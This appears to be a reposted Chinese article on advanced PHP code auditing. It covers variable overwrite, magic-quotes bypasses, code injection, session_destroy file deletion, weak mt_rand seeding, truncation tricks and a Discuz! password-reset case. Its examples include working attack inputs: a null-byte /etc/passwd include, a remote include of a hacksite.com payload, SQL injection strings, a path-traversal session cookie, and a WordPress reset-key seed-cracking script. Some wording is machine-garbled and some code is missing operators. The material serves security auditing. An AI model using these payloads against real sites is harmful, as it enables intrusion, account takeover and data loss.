传统的代码审计技能

PHP版本与运用代码审计

其他的成分与运用代码审计

高级php漏洞程序高等PHP运用法式破绽审核技巧 SQL

扩展我们的字典

截断

include截断

数据截断

文件操作里的分外字符

PHP函数的溢出漏洞

PHP函数的其他漏洞

session_destroy()删除文件漏洞

随机函数

PHP中可能导致代码注射的函数

变量函数与双引号

什么是magic_quotes_gpc

哪些地方没有魔术引号的保护

变量的编码与解码

二次攻击

魔术引号带来的新的安全问题

变量key与魔术引号

遍历初始化变量

parse_str()变量覆盖漏洞

import_request_variables()变量覆盖漏洞

PHP5 Globals

变量本身的key

变量覆盖

magic_quotes_gpc与代码安全

代码注射

PHP自身函数漏洞及毛病

分外字符

怎么进一步探求新的字典

DEMO

后话

附录

序言

PHP是一种被广泛利用的脚本措辞,尤其适宜于web开拓。
具有跨平台,随意马虎学习,功能强大等特点,据统计全天下有超过34%的网站有php的运用,包括Yahoo、sina、163、sohu等大型门户网站。
而且很多具名的web运用系统(包括bbs,blog,wiki,cms等等)都是利用php开拓的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。
随着web安全的热点升级,php运用程序的代码安全问题也逐步兴盛起来,越来越多的安全职员投入到这个领域,越来越多的运用程序代码漏洞被表露。
针对这样一个状况,很多运用程序的官方都成立了安全部门,或者雇佣安全职员进行代码审计,因此涌现了很多自动化商业化的代码审计工具。
也便是这样的形势导致了一个局势:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技能都无用武之地了。
我们面对很多工具以及大牛扫描过n遍的代码,有很多的安全职员有点悲观,而有的官方安全职员也非常的放心自己的代码,但是不要忘却了“没有绝对的安全”,我们该当去探求新的路子挖掘新的漏洞。
本文就给先容了一些非传统的技能履历和大家分享。

其余在这里特殊解释一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里须要感谢他们 :)

传统的代码审计技能

WEB运用程序漏洞查找基本上是环绕两个元素展开:变量与函数。
也便是说一漏洞的利用必须把你提交的恶意代码通过变量经由n次变量转换通报,终极通报给目标函数实行,还记得MS那句经典的名言吗?“统统输入都是有害的”。
这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在通报过程产生了n多的变革。
导致很多过滤只是个“纸老虎”!
我们换句话来描叙下代码安全:“统统进入函数的变量是有害的”。

PHP代码审计技能用的最多也是目前的主力方法:静态剖析,紧张也是通过查找随意马虎导致安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是利用正则来搜索这些函数。
下面列举一些常用的函数,也便是下文说的字典(暂略)。
但是目前基本已有的字典很难找到漏洞,以是我们须要扩展我们的字典,这些字典也是本文紧张磋商的。

其他的方法有:通过修正PHP源代码来剖析变量流程,或者hook危险的函数来实现对运用程序代码的审核,但是这些也依赖了我们上面提到的字典。

PHP版本与运用代码审计

到目前为止,PHP紧张有3个版本:php4、php5、php6,利用比例大致如下:

php468%2000-2007,No security fixes after 2008/08,终极版本是php4.4.9php532%2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)php6目前还在测试阶段,变革很多做了大量的修正,取消了很多安全选项如magic_quotes_gpc(这个不是本日谈论的范围)

由于php短缺自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。
这些有漏洞的函数也是我们进行WEB运用程序代码审计的重点工具,也是我们字典主要来源。

其他的成分与运用代码审计

很多代码审计者拿到代码就看,他们忽略了“安全是一个整体”,代码安全很多的其他成分有关系,比如上面我们谈到的PHP版本的问题,比较主要的还有操作系统类型(紧张是两大阵营win/nix),WEB做事端软件(紧张是iis/apache两大类型)等成分。
这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。

以是我们在做某个公司WEB运用代码审计时,该当理解他们利用的系统,WEB做事端软件,PHP版本等信息。

扩展我们的字典

下面将详细先容一些非传统PHP运用代码审计一些漏洞类型和利用技巧。

变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘却了有的程序把变量本身的key也当变量提取给函数处理。

<?php//key.php?aaaa'aaa=1&bb'b=2//print_R($_GET);foreach ($_GET AS $key => $value){print $key.\"大众\n\公众;}?>

上面的代码就提取了变量本身的key显示出来,纯挚对付上面的代码,如果我们提交URL:

key.php?<script>alert(1);</script>=1&bbb=2

那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询呢?:)

漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:通读代码

变量覆盖

很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情形导致变量覆盖的如:

遍历初始化变量

请看如下代码:

<?php//var.php?a=fuck$a='hi';foreach($_GET as $key => $value) {$$key = $value;}print $a;?>

很多的WEB运用都利用上面的办法(把稳循环不一定是foreach),如Discuz!4.1的WAP部分的代码:

$chs = '';if($_POST && $charset != 'utf-8') {$chs = new Chinese('UTF-8', $charset);foreach($_POST as $key => $value) {$$key = $chs->Convert($value);}unset($chs);漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:通读代码

parse_str()变量覆盖漏洞

//var.php?var=new$var = 'init'; parse_str($_SERVER['QUERY_STRING']);print $var;

该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER['QUERY_STRING']来提取变量的,对付指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:

//var.php?var=1&a[1]=var1%3d222$var1 = 'init';parse_str($a[$_GET['var']]);print $var1;

上面的代码通过提交$var来实现对$var1的覆盖。

漏洞审计谋略(parse_str)PHP版本哀求:无

系统哀求:无

审计谋略:查找字符parse_str

漏洞审计谋略(mb_parse_str)PHP版本哀求:php4<4.4.7 php5<5.2.2

系统哀求:无

审计谋略:查找字符mb_parse_str

import_request_variables()变量覆盖漏洞

//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1echo 'GLOBALS '.(int)ini_get(\"大众register_globals\"大众).\公众n\公众;import_request_variables('GPC');if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');echo 'Hello admin!';漏洞审计谋略(import_request_variables)PHP版本哀求:php4<4.4.1 php5<5.2.2

系统哀求:无

审计谋略:查找字符import_request_variables

PHP5 Globals

从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:

<?// register_globals =ON//foo.php?GLOBALS[foobar]=HELLOphp echo $foobar;?>

但是很多的程序没有考虑到这点,请看如下代码:

//为了安全取消全局变量//var.php?GLOBALS[a]=aaaa&b=111if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});print $a;print $_GET[b];

如果熟习WEB2.0的攻击的同学,很随意马虎想到上面的代码我们可以利用这个特性进行crsf攻击。

漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:通读代码

magic_quotes_gpc与代码安全

什么是magic_quotes_gpc

当打开时,所有的 '(单引号),\"大众(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。
还有很多函数有类似的浸染 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,其余还有parse_str()后的变量也受magic_quotes_gpc的影响。
目前大多数的主机都打开了这个选项,并且很多程序员也把稳利用上面那些函数去过滤变量,这看上去很安全。
很多漏洞查找者或者工具碰着些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
:)

哪些地方没有魔术引号的保护

1) $_SERVER变量

PHP5的$_SERVER变量短缺magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞猛暴,以是很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?

漏洞审计谋略($_SERVER变量)PHP版本哀求:无

系统哀求:无

审计谋略:查找字符_SERVER

2) getenv()得到的变量(利用类似$_SERVER变量)

漏洞审计谋略(getenv())PHP版本哀求:无

系统哀求:无

审计谋略:查找字符getenv

3) $HTTP_RAW_POST_DATA与PHP输入、输出流

紧张运用与soap/xmlrpc/webpublish功能里,请看如下代码:

if ( !isset( $HTTP_RAW_POST_DATA ) ) {$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );}if ( isset($HTTP_RAW_POST_DATA) )$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);漏洞审计谋略(数据流)PHP版本哀求:无

系统哀求:无

审计谋略:查找字符HTTP_RAW_POST_DATA或者php://input

4) 数据库操作随意马虎忘却'的地方如:in()/limit/order by/group by

如Discuz!<5.0的pm.php:

if(is_array($msgtobuddys)) {$msgto = array_merge($msgtobuddys, array($msgtoid));......foreach($msgto as $uid) {$uids .= $comma.$uid;$comma = ',';}......$query = $db->query(\"大众SELECT m.username, mf.ignorepm FROM {$tablepre}members mLEFT JOIN {$tablepre}memberfields mf USING(uid)WHERE m.uid IN ($uids)\公众);漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:查找数据库操作字符(select,update,insert等等)

变量的编码与解码

一个WEB程序很多功能的实现都须要变量的编码解码,而且就在这一转一解的通报过程中就悄悄的绕过你的过滤的安全防线。

这个类型的紧张函数有:

1) stripslashes() 这个实在便是一个decode-addslashes()

2) 其他字符串转换函数:

base64_decode对利用 MIME base64 编码的数据进行解码base64_encode利用 MIME base64 对数据进行编码rawurldecode对已编码的 URL 字符串进行解码rawurlencode按照 RFC 1738 对 URL 进行编码urldecode解码已编码的 URL 字符串urlencode编码 URL 字符串......

其余一个 unserialize/serialize

3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等

目前很多漏洞挖掘者开始把稳这一类型的漏洞了,如范例的urldecode:

$sql = \"大众SELECT FROM article WHERE articleid='\"大众.urldecode($_GET[id]).\公众'\公众;

当magic_quotes_gpc=on时,我们提交?id=%2527,得到sql语句为:

SELECT FROM article WHERE articleid='''漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:查找对应的编码函数

二次攻击

详细见附录[1]

1)数据库出来的变量没有进行过滤

2)数据库的转义符号:

mysql/oracle转义符号同样是\(我们提交'通过魔术引号变革为',当我们update进入数据库时,通过转义变为')

mssql的转义字符为'(以是我们提交'通过魔术引号变革为',mssql会把它当为一个字符串直接处理,以是魔术引号对付mssql的注射没有任何意义)

从这里我们可以思考得到一个结论:统统进入函数的变量都是有害的,其余利用二次攻击我们可以实现一个webrootkit,把我们的恶意布局直接放到数据库里。
我们应该把这样的代码算作一个vul?

漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:通读代码

魔术引号带来的新的安全问题

首先我们看下魔术引号的处理机制:

[\-->\\,'-->\',\"大众-->\\公众,null-->\0]

这给我们引进了一个非常有用的符号“\”,“\”符号不仅仅是转义符号,在WIN系统下也是目录转跳的符号。
这个特点可能导致php运用程序里产生非常故意思的漏洞:

1)得到原字符(',,\公众,null])

$order_sn=substr($_GET['order_sn'], 1);//提交 '//魔术引号处理 \'//substr '$sql = \"大众SELECT order_id, order_status, shipping_status, pay_status, \"大众. \公众 shipping_time, shipping_id, invoice_no, user_id \"大众. \公众 FROM \公众 . $ecs->table('order_info'). \"大众 WHERE order_sn = '$order_sn' LIMIT 1\"大众;

2)得到“\”字符

$order_sn=substr($_GET['order_sn'], 0,1);//提交 '//魔术引号处理 \'//substr \ $sql = \"大众SELECT order_id, order_status, shipping_status, pay_status, \"大众. \公众 shipping_time, shipping_id, invoice_no, user_id \"大众. \公众 FROM \"大众 . $ecs->table('order_info'). \"大众 WHERE order_sn = '$order_sn' and order_tn='\"大众.$_GET['order_tn'].\"大众'\"大众;

提交内容:

?order_sn='&order_tn=%20and%201=1/

实行的SQL语句为:

SELECT order_id, order_status, shipping_status, pay_status, shipping_time,shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' andorder_tn=' and 1=1/'漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:查找字符串处理函数如substr或者通读代码

变量key与魔术引号

我们最在这一节的开头就提到了变量key,PHP的魔术引号对它有什么影响呢?

<?php//key.php?aaaa'aaa=1&bb'b=2//print_R($_GET);foreach ($_GET AS $key => $value) { print $key.\"大众\n\公众; }?>

1)当magic_quotes_gpc = On时,在php5.24下测试显示:

aaaa\'aaabb\'b

从上面结果可以看出来,在设置了magic_quotes_gpc = On下,变量key受魔术引号影响。
但是在php4和php<5.2.1的版本中,不处理数组第一维变量的key,测试代码如下:

<?php//key.php?aaaa'aaa[bb']=1print_R($_GET);?>

结果显示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )

数组第一维变量的key不受魔术引号的影响。

漏洞审计谋略PHP版本哀求:php4和php<5.2.1

系统哀求:无

审计谋略:通读代码

2)当magic_quotes_gpc = Off时,在php5.24下测试显示:

aaaa'aaabb'b

对付magic_quotes_gpc = Off时所有的变量都是不屈安的,考虑到这个,很多程序都通过addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:

<?php//keyvul.php?aaa'aa=1'//magic_quotes_gpc = Offif (!get_magic_quotes_gpc()){$_GET = addslashes_array($_GET);}function addslashes_array($value){ return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);}print_R($_GET);foreach ($_GET AS $key => $value){print $key;}?>

以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的详细的值,但是没有处理变量本身的key,上面的代码显示结果如下:

Array( [aaa'aa] => 1\')aaa'aa漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:通读代码

代码注射

PHP中可能导致代码注射的函数

很多人都知道eval、preg_replace+/e可以实行代码,但是不知道php还有很多的函数可以实行代码如:

assert()call_user_func()call_user_func_array()create_function()变量函数...

这里我们看看最近涌现的几个关于create_function()代码实行漏洞的代码:

<?php//how to exp this code$sort_by=$_GET['sort_by'];$sorter='strnatcasecmp';$databases=array('test','test');$sort_function = ' return 1 ' . $sorter . '($a[\"大众' . $sort_by . '\"大众], $b[\公众' . $sort_by . '\"大众]); ';usort($databases, create_function('$a, $b', $sort_function));漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)

变量函数与双引号

对付单引号和双引号的差异,很多程序员深有体会,示例代码:

echo \"大众$a\n\"大众;echo '$a\n';

我们再看如下代码:

//how to exp this codeif($globals['bbc_email']){$text = preg_replace(array(\公众/\[email=(.?)\](.?)\[\/email\]/ies\"大众,\"大众/\[email\](.?)\[\/email\]/ies\"大众),array('check_email(\公众$1\"大众, \公众$2\"大众)','check_email(\"大众$1\"大众, \公众$1\"大众)'), $text);

其余很多的运用程序都把变量用\公众\公众存放在缓存文件或者config或者data文件里,这样很随意马虎被人注射变量函数。

漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:通读代码

PHP自身函数漏洞及毛病

PHP函数的溢出漏洞

大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录2)项目么,个中比较有名的要算是unserialize(),代码如下:

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里,很多函数都曾经涌现过溢出漏洞,以是我们在审计运用程序漏洞的时候不要忘却了测试目标利用的PHP版本信息。

漏洞审计谋略PHP版本哀求:对应fix的版本

系统哀求:

审计谋略:查找对应函数名

PHP函数的其他漏洞

Stefan Esser大牛创造的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability

比如phpwind早期的serarch.php里的代码:

unset($uids);......$query=$db->query(\公众SELECT uid FROM pw_members WHERE username LIKE '$pwuser'\"大众);while($member=$db->fetch_array($query)){$uids .= $member['uid'].',';}$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';........$query = $db->query(\"大众SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit\"大众);漏洞审计谋略PHP版本哀求:php4<4.3 php5<5.14

系统哀求:无

审计谋略:查找unset

session_destroy()删除文件漏洞

测试PHP版本:5.1.2

这个漏洞是几年前朋友saiy创造的,session_destroy()函数的功能是删除session文件,很多web运用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老的版本中短缺过滤导致可以删除任意文件。
测试代码如下:

<?php//val.php session_save_path('./');session_start();if($_GET['del']) {session_unset();session_destroy();}else{$_SESSION['hei']=1;echo(session_id());print_r($_SESSION);}?>

当我们提交布局cookie:PHPSESSID=/../1.php,相称于unlink('sess_/../1.php')这样就通过注射../转跳目录删除任意文件了。
很多著名的程序某些版本都受影响如phpmyadmin,sablog,phpwind3等等。

漏洞审计谋略PHP版本哀求:详细不详

系统哀求:无

审计谋略:查找session_destroy

随机函数

1) rand() VS mt_rand()

<?php//on windowsprint mt_getrandmax(); //2147483647print getrandmax();// 32767?>

可以看出rand()最大的随机数是32767,这个很随意马虎被我们暴力破解。

<?php$a= md5(rand());for($i=0;$i<=32767;$i++){ if(md5($i) ==$a ) { print $i.\"大众-->ok!!<br>\"大众;exit; }else { print $i.\公众<br>\"大众;}}?>

当我们的程序利用rand处理session时,攻击者很随意马虎暴力破解出你的session,但是对付mt_rand是很难纯挚的暴力的。

漏洞审计谋略PHP版本哀求:无

系统哀求:无

审计谋略:查找rand

2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手册里的描述:

mt_srand(PHP 3 >= 3.0.6, PHP 4, PHP 5)mt_srand -- 播下一个更好的随机数发生器种子解释void mt_srand ( int seed )

用 seed 来给随机数发生器播种。
从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。

例子 1. mt_srand() 范例

<?php// seed with microsecondsfunction make_seed(){ list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec 100000);}mt_srand(make_seed());$randval = mt_rand();?>

注: 自 PHP 4.2.0 起,不再须要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

php从4.2.0开始实现了自动播种,但是为了兼容,后来利用类似于这样的代码播种:

mt_srand ((double) microtime() 1000000)

但是利用(double)microtime()1000000类似的代码seed是比较薄弱的:

0<(double) microtime()<1 ---> 0<(double) microtime() 1000000<1000000

那么很随意马虎暴力破解,测试代码如下:

<?php///////////////////>php rand.php//828682//828682////////////////ini_set(\公众max_execution_time\"大众,0);$time=(double) microtime() 1000000;print $time.\公众\n\"大众;mt_srand ($time);$search_id = mt_rand();$seed = search_seed($search_id);print $seed;function search_seed($rand_num) {$max = 1000000;for($seed=0;$seed<=$max;$seed++){mt_srand($seed);$key = mt_rand();if($key==$rand_num) return $seed;}return false;}?>

从上面的代码实现了对seed的破解,其余根据Stefan Esser的剖析seed还根据进程变革而变革,换句话来说同一个进程里的seed是相同的。
然后同一个seed每次mt_rand的值都是特定的。
如下图:

seed-Amt_rand-A-1

mt_rand-A-2

mt_rand-A-3

seed-Bmt_rand-B-1

mt_rand-B-2

mt_rand-B-3

对付seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也便是说当seed-A即是seed-B,那么mt_rand-A-1就即是mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。

对付5.2.6>php>4.2.0直策应用默认播种的程序也是不屈安的(很多的安全职员缺点的以为这样便是安全的),这个要分两种情形来剖析:

第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,紧张是利用其他程序定义的播种(如mt_srand ((double) microtime() 1000000)),phpbb+wordpree组合就存在这样的危险.

第二种:5.2.6>php>4.2.0默认播种的算法也不是很刁悍,这是Stefan Esser的文章里的描述:

The Implementation

When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解seed。
而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录3),测试代码如下:

<?phpmt_srand(4);$a = mt_rand();mt_srand(5);$b = mt_rand();print $a.\公众\n\公众.$b;?>

通过上面的代码创造$a==$b,以是我们循环的次数为232/2=231次。
我们看如下代码:

<?php//base on http://www.milw0rm.com/exploits/6421//test on php 5.2.0define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1$key = wp_generate_password(20, false);echo $key.\公众\n\"大众;$seed = getseed($key);print $seed.\"大众\n\"大众;mt_srand($seed);$pass = wp_generate_password(20, false);echo $pass.\公众\n\"大众;function wp_generate_password($length = 12, $special_chars = true) {$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';if ( $special_chars )$chars .= '!@#$%^&()';$password = '';for ( $i = 0; $i < $length; $i++ )$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);return $password;}function getseed($resetkey) {$max = pow(2,(32-BUGGY));for($x=0;$x<=$max;$x++) {$seed = BUGGY ? ($x << 1) + 1 : $x;mt_srand($seed);$testkey = wp_generate_password(20,false);if($testkey==$resetkey) { echo \"大众o\n\"大众; return $seed; }if(!($x % 10000)) echo $x / 10000;}echo \"大众\n\"大众;return false;}?>

运行结果如下:

php5>php rand.phpM8pzpjwCrvVt3oobAaOr01234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522..............010621106221062310624106251062610627106281062910630106311063210633o70693pjwCrvVt3oobAaOr

当10634次时候我们得到了却果。

当PHP版本到了5.2.1后,通过修正算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。
比如:

<?phpmt_srand(42);echo mt_rand();//php<=5.20 1387371436//php>5.20 1354439493?>

正是这个缘故原由,也哀求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也假如>5.20的版本,反过来也是一样。

从上面的测试及剖析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不屈安的。
在web运用里很多都利用mt_rand来处理随机的session,比如密码找回功能等等,这样的后果便是被攻击者恶意利用直接修正密码。

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。
(在后面我们将实际剖析下海内著名的bbs程序Discuz!的mt_srand导致的漏洞)

漏洞审计谋略 PHP版本哀求:php4 php5<5.2.6

系统哀求:无

审计谋略:查找mt_srand/mt_rand

分外字符

实在“分外字符”也没有特定的标准定义,紧张是在一些code hacking发挥着分外重浸染的一类字符。
下面就举几个例子:

截断

个中最有名的数大家都熟习的null字符截断。

include截断

<?phpinclude $_GET['action'].\公众.php\"大众;?>

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断利用呢?肯定有人想到了远程包含的url里问号“?”的浸染,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒畅那么我们大略写个代码fuzz一下:

<?php////////////////////////var5.php代码:////include $_GET['action'].\"大众.php\"大众;////print strlen(realpath(\公众./\"大众))+strlen($_GET['action']); ///////////////////ini_set('max_execution_time', 0);$str='';for($i=0;$i<50000;$i++){$str=$str.\"大众/\"大众;$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);//1.txt里的代码为print 'hi';if (strpos($resp, 'hi') !== false){print $i;exit;}}?>

经由测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和nix的系统长度不一样,当win下strlen(realpath(\"大众./\公众))+strlen($_GET['action'])的长度大于256时被截断,对付nix的长度是4 1024 = 4096。
对付php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。
(此漏洞由cloie#ph4nt0m.org最先创造])

数据截断

对付很多web运用文件在很多功能是不容许重复数据的,比如用户注册功能等。
一样平常的运用程序对付提交注册的username和数据库里已有的username比拟是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser创造的(Stefan Esser是我的偶像:)),这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对付插入超长的值只会提示warning,而不是error(如果是error就插入不堪利),这样可能会导致一些截断问题。
测试如下:

mysql> insert into truncated_test(`username`,`password`) values(\公众admin\公众,\"大众pass\"大众);mysql> insert into truncated_test(`username`,`password`) values(\"大众admin x\公众, \"大众new_pass\公众);Query OK, 1 row affected, 1 warning (0.01 sec)mysql> select from truncated_test;+----+------------+----------+| id | username | password |+----+------------+----------+| 1 | admin | pass || 2 | admin | new_pass |+----+------------+----------+2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability

这个漏洞是80sec创造的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。
测试如下:

mysql> insert into truncated_test(`username`,`password`) values(concat(\公众admin\"大众,0xc1), \"大众new_pass2\公众);Query OK, 1 row affected, 1 warning (0.00 sec)mysql> select from truncated_test;+----+------------+----------+| id | username | password |+----+------------+----------+| 1 | admin | pass || 2 | admin | new_pass || 3 | admin | new_pass2 |+----+------------+----------+2 rows in set (0.00 sec)

很多的web运用程序没有考虑到这些问题,只是在数据存储前大略查询数据是否包含相同数据,如下代码:

$result = mysql_query(\"大众SELECT from test_user where user='$user' \"大众); ....if(@mysql_fetch_array($result, MYSQL_NUM)) {die(\"大众already exist\"大众);}漏洞审计谋略 PHP版本哀求:无

系统哀求:无

审计谋略:通读代码

文件操作里的分外字符

文件操作里有很多分外的字符,发挥特殊的浸染,很多web运用程序没有把稳处理这些字符而导致安全问题。
比如很多人都知道的windows系统文件名对“空格”和“.”等的忽略,这个紧张表示在上传文件或者写文件上,导致直接写webshell。
其余对付windows系统对“...\”进行系统转跳等等。

下面还给大家先容一个非常故意思的问题:

//Is this code vul?if( eregi(\公众.php\公众,$url) ){die(\"大众ERR\"大众);}$fileurl=str_replace($webdb[www_url],\公众\"大众,$url);.....header('Content-Disposition: attachment; filename='.$filename);

很多人看出来了上面的代码的问题,程序首先禁止利用“.php”后缀。
但是下面居然接了个str_replace更换$webdbwww_url为空,那么我们提交“.p$webdbwww_urlhp”就可以饶过了。
那么上面的代码杂fix呢?有人给出了如下代码:

$fileurl=str_replace($webdb[www_url],\"大众\"大众,$url);if( eregi(\公众.php\"大众,$url) ){die(\公众ERR\公众);}

str_replace提到前面了,很完美的办理了str_replace代码的安全问题,但是问题不是那么大略,上面的代码在某些系统上一样可以打破。
接下来我们先看看下面的代码:

<?phpfor($i=0;$i<255;$i++) {$url = '1.ph'.chr($i);$tmp = @file_get_contents($url);if(!empty($tmp)) echo chr($i).\公众\r\n\"大众;} ?>

我们在windows系统运行上面的代码得到如下字符 < > ? P p都可以打开目录下的1.php。

漏洞审计谋略 PHP版本哀求:无

系统哀求:无

审计谋略:文读取件操作函数

怎么进一步探求新的字典

上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者办法,那么我们怎么进一步找到新的字典或者利用办法呢?

剖析和学习别人创造的漏洞或者exp,总结出漏洞类型及字典

通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用办法

fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分很多都可以大略的fuzz脚本可以测试出来

剖析php源代码,创造新的漏洞函数“特性”或者漏洞。
(在上一节里先容的那些“漏洞审计谋略”里,都没有php源代码的剖析,如果你要进一步找到新的字典,可以在php源代码的根本上剖析下成因,然后根据这个成因来剖析探求新的漏洞函数“特性”或者漏洞。
)(我们往后会陆续公布一些我们对php源代码的剖析)

有条件或者机会和开拓者学习,找到他们实现某些常用功能的代码的毛病或者随意马虎忽略的问题

你有什么要补充的吗? :)

DEMO

DEMO -- Discuz! Reset User Password 0day Vulnerability 剖析

(Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)

PHP版本哀求:php4 php5<5.2.6

系统哀求: 无

审计谋略:查找mt_srand/mt_rand

第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:

heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5./include/global.func.php-694- $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);./include/global.func.php-695- return '<a href=\"大众tag-'.$name.'.html\"大众'.stripslashes($extra).'>';./include/global.func.php-696-}./include/global.func.php-697-./include/global.func.php-698-function random($length, $numeric = 0) {./include/global.func.php:699: PHP_VERSION < '4.2.0' && mt_srand((double)microtime() 1000000);./include/global.func.php-700- if($numeric) {./include/global.func.php-701- $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));./include/global.func.php-702- } else {./include/global.func.php-703- $hash = '';./include/global.func.php-704- $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';--./include/discuzcode.func.php-30-./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {./include/discuzcode.func.php-32- @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';./include/discuzcode.func.php-33-}./include/discuzcode.func.php-34-./include/discuzcode.func.php:35:mt_srand((double)microtime() 1000000);./include/discuzcode.func.php-36-./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {./include/discuzcode.func.php-38- global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;./include/discuzcode.func.php-39- $attach = $postlist[$pid]['attachments'][$aid];./include/discuzcode.func.php-40- if($attach['attachimg']) {

有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

PHP_VERSION < '4.2.0' && mt_srand((double)microtime() 1000000);

判断了版本,如果是PHP_VERSION > '4.2.0'利用php本身默认的播种。
